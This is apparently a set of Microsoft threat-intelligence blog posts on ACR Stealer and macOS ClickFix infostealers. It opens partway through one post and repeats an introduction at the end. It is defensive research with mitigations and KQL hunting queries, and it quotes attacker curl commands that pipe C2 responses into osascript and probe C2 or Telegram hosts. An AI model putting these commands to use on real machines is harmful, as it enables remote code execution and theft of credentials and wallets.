Variants 2 and 3 are notable for their use of pushd, which transparently maps the remote WebDAV share to a temporary local drive prior to execution. This technique allows threat actors to execute remotely hosted content through what appears to be a local path, simplifying payload execution while reducing user awareness. In the more advanced variant, threat actors further enhance stealth by launching commands through conhost.exe –headless, suppressing visible console windows, and employing environment variable obfuscation with delayed variable expansion to conceal critical execution components such as pushd, rundll32, and the remote host name. Combined with minimized or headless execution, these techniques reduce user visibility, complicate static analysis and detection, and enable the infection chain to execute with minimal indication to the victim.

Execution, persistence, and evasion through process masquerading

Once rundll32.exe loads the DLL retrieved from the remote server, the malware establishes communication with threat actor-controlled infrastructure and executes a heavily obfuscated PowerShell script. The script employs excessive arithmetic no-ops, dead loops, fake control flow, and randomized variable names to hinder static analysis and evade signature-based detection.

The PowerShell script subsequently deploys another stage that functions as both a malware installer and a persistence mechanism. It:

• Downloads a ZIP-packaged payload from a remote server and extracts it into a deceptive directory under %LocalAppData%\Temp (for example, LogiOptionsPlus).
• Launches a Python script using a bundled pythonw.exe instance to avoid displaying a console window.
• Removes previous deployments and terminates running instances before installation, effectively operating as an updater.
• Establishes persistence through a hidden scheduled task disguised as a legitimate software update, ensuring execution at user sign-in.
• Copies timestamps from a trusted Windows binary (notepad.exe) to the deployed files and clears PowerShell command history to reduce forensic visibility.

Python loader launching the stealer

The Python component serves as a heavily obfuscated loader designed to conceal its true functionality until runtime. It employs multiple layers of defense against static analysis, including dynamic API resolution, encoded string reconstruction, junk-data removal, character shifting, string reversal, Base64 decoding, and zlib decompression. These techniques ensure that the embedded payload remains unreadable in its static form and is reconstructed only during execution, significantly hindering signature-based detection and automated analysis.

Once decoded, the final-stage payload functions as an in-memory shellcode loader. It extracts an archive file masquerading as a legitimate application installer, reads a file from the archive, and injects the payload into a system process. The loader allocates executable memory using VirtualAlloc, copies the payload into the allocated memory region, and transfers execution through the Windows Fiber API (ConvertThreadToFiber, CreateFiber, and SwitchToFiber). This technique facilitates stealthy in-memory execution while minimizing artifacts written to disk.

Credential theft and data staging for exfiltration

The malware (injected code) aggressively harvests information from browser credential stores. It invokes Windows Data Protection API (DPAPI) routines to decrypt locally stored browser passwords, cookies, and authentication tokens. It also enumerates files across the system, targeting PDFs, Microsoft 365 documents, and data stored in enterprise-synchronized directories such as OneDrive and SharePoint. The collected data is subsequently archived, indicating preparation for exfiltration.

Blockchain dead-drop C2 resolution

A notable variation in this campaign is the use of blockchain services for C2 resolution, utilizing a technique known as EtherHiding. While most intrusions rely on more conventional C2 mechanisms, a subset deploys an additional secondary Python loader that leverages blockchain services as dead-drop resolvers. When this loader executes, it has been observed communicating with public blockchain RPC endpoints and third-party Web3 node infrastructure, likely querying data stored on a decentralized public ledger to retrieve follow-up payloads or a C2 address.

By externalizing C2 information to the blockchain, operators could dynamically update infrastructure without modifying or redeploying the malware, significantly complicating detection and takedown efforts. This behavior was observed across both variants of the campaign.

Campaign 2: MSHTA-initiated PowerShell chain with steganographic payload delivery

The second campaign takes a distinctly different approach to both delivery and execution. Where Campaign 1 relies on disk-based artifacts (Python runtime, scheduled tasks, and masquerading binaries), this campaign achieves its objectives almost entirely through fileless, in-memory execution, making it harder to detect through file-based scanning and forensic analysis.

Initial access through MSHTA and ClickFix

The execution chain begins when the victim, directed through malvertising or SEO-manipulated search results, encounters a ClickFix prompt that triggers a command spawning MSHTA to fetch and execute remote HTA content from an threat actor-controlled domain. The embedded VBScript loader abuses COM objects to decode and execute encoded PowerShell content.

PowerShell downloader and obfuscation

The decoded PowerShell stage employs obfuscation techniques similar to those seen in Campaign 1: randomized variable names, arithmetic no-op operations, dead loops, misleading control flow, and custom encryption routines. Prior to contacting its next-stage infrastructure, the malware generates a victim-specific identifier and disables certificate validation. The retrieved content is executed directly in memory.

Steganography-based payload delivery

A notable technique in this campaign is the use of steganography to conceal malicious content inside a publicly hosted image. Instead of downloading a secondary script (as in Campaign 1), the malware retrieves a JPEG image from an image-hosting service.

Analysis of the script revealed custom routines that extract an embedded payload from image pixels, decrypt and decompress it, and execute it entirely in memory. The payload dynamically resolves APIs such as LoadLibrary, GetProcAddress, VirtualAlloc, CreateThread, and WaitForSingleObject at runtime to perform reflective shellcode execution. By combining steganography with in-memory execution, the malware minimizes on-disk artifacts and complicates both detection and analysis.

Credential theft, data collection, and exfiltration

Following execution, the malware accesses credential stores belonging to Chromium-based browsers, including Google Chrome and Microsoft Edge, specifically the Login Data and Web Data databases, alongside Windows DPAPI decryption activity. This behavior indicates attempts to recover stored browser credentials, session cookies, authentication tokens, and other sensitive user information.

The malware also enumerates and accesses multiple high-value PDF documents across Desktop and Downloads locations, suggesting targeted collection of potentially sensitive files. The combination of browser credential harvesting and systematic document access points to an information-stealing objective focused on staging credentials and valuable user data for exfiltration.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of ClickFix lures, script-based payload delivery, credential theft, and post-compromise activity.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Reduce exposure to malvertising, SEO poisoning, and other web-based delivery chains by enforcing web filtering, blocking low-reputation or newly observed domains, and limiting access to remote content sources that are not required for business operations.
• Use application control and attack surface reduction rules to restrict PowerShell, Python, mshta.exe, rundll32.exe, and similar tools from launching untrusted or internet-delivered content, particularly from user-writable directories such as Downloads, Temp, and %LocalAppData%.
• Monitor for suspicious persistence and defense-evasion behavior, including scheduled tasks masquerading as software updates, timestomping, PowerShell history clearing, and execution chains that progress from remote content retrieval into PowerShell, Python, or shellcode-loading behavior.
• Investigate abnormal access to Chromium-based browser databases, DPAPI-related decryption activity, staged collection of Microsoft 365 documents or PDFs, and compression activity that may indicate credential theft or data staging for exfiltration.
• If compromise is suspected, isolate affected devices, rotate exposed credentials, revoke potentially compromised tokens, review persistence mechanisms, and investigate outbound connections to remote shares, image-hosting services, or other infrastructure used to resolve or retrieve follow-on payloads.
• Harden endpoints against credential theft by reducing reliance on browser-stored credentials, enforcing multifactor authentication and conditional access, and reviewing how privileged accounts access sensitive applications and synchronized enterprise data.
• Turn on cloud-delivered protection and behavior-based detections to help identify rapidly evolving threats, suspicious script execution, in-memory payload delivery, abuse of browser credential stores, and unusual child-process activity.
• Run endpoint detection and response (EDR) in block mode and enable automated investigation and remediation so post-breach detections are contained, and malicious artifacts can be removed with minimal delay.
• Harden PowerShell by enforcing appropriate execution policies, turning on script block logging, module logging, and transcription, and monitoring this telemetry for signs of malicious script activity.
• Turn on tamper protection and prevent local administrators from weakening antivirus protection through local policy or exclusion changes.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get current information available in the Defender portal about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments:

• Amatera Stealer: Rebranded ACR Stealer With Improved Evasion, Sophistication
• Double Trouble: Latrodectus and ACR Stealer observed spreading via Google Authenticator Phishing Site

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Advanced hunting queries

Microsoft Defender XDR customers can run the following advance hunting queries to find related activity in their networks:

Run the query below to identify suspicious commands executed through ClickFix-based activity observed while delivering this stealer

DeviceRegistryEvents
| where RegistryKey has "RunMRU"
| where (RegistryValueData has_all ("rundll32", "@ssl", " /c ", " start ") and (RegistryValueData matches regex @"\\\\[^\\]+@ssl\\[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\\\w+\.\w+,#1" or
RegistryValueData matches regex @"(?i)pushd \\\\[^\\]+@ssl\\[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12} ")) 
or RegistryValueData has_all ("@ssl", " /c ", "conhost --headless ") and RegistryValueData contains "rundll32"

Run the query below to identify scheduled task creation used for persistence by a malicious PowerShell script

DeviceProcessEvents
| where InitiatingProcessFileName =~ "powershell.exe"
| where InitiatingProcessCommandLine has_all ("-Command", "powershell")
| where ProcessCommandLine has_all ("schtasks", " /run /tn ", " Autoupdate ") and ProcessCommandLine matches regex "[0-9]{8}"

Run the query below to identify suspicious MSHTA launch through PowerShell

DeviceProcessEvents
| where InitiatingProcessParentFileName has "explorer.exe"
| where InitiatingProcessFileName =~ "powershell.exe" and InitiatingProcessCommandLine in~ ('"PowerShell.exe" ', '"PowerShell.exe"')
| where ProcessCommandLine has_all ('"mshta.exe" https://') and ProcessCommandLine matches regex "/[0-9]{7}"

MITRE ATT&CK techniques observed

The following mapping summarizes the primary tactics and techniques observed across the two ACR Stealer intrusion chains. The mapping is intended to help defenders align observed behaviors with existing detection coverage, response playbooks, and hunting priorities.

Indicators of compromise (IOC)

References

• Intelligence Insights: May 2026 | Red Canary
• Possible ACR Stealer From Page Impersonating Claude

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post ACR Stealer: Two observed intrusion chains amid increased threat activity appeared first on Microsoft Security Blog.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

Learn more

• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

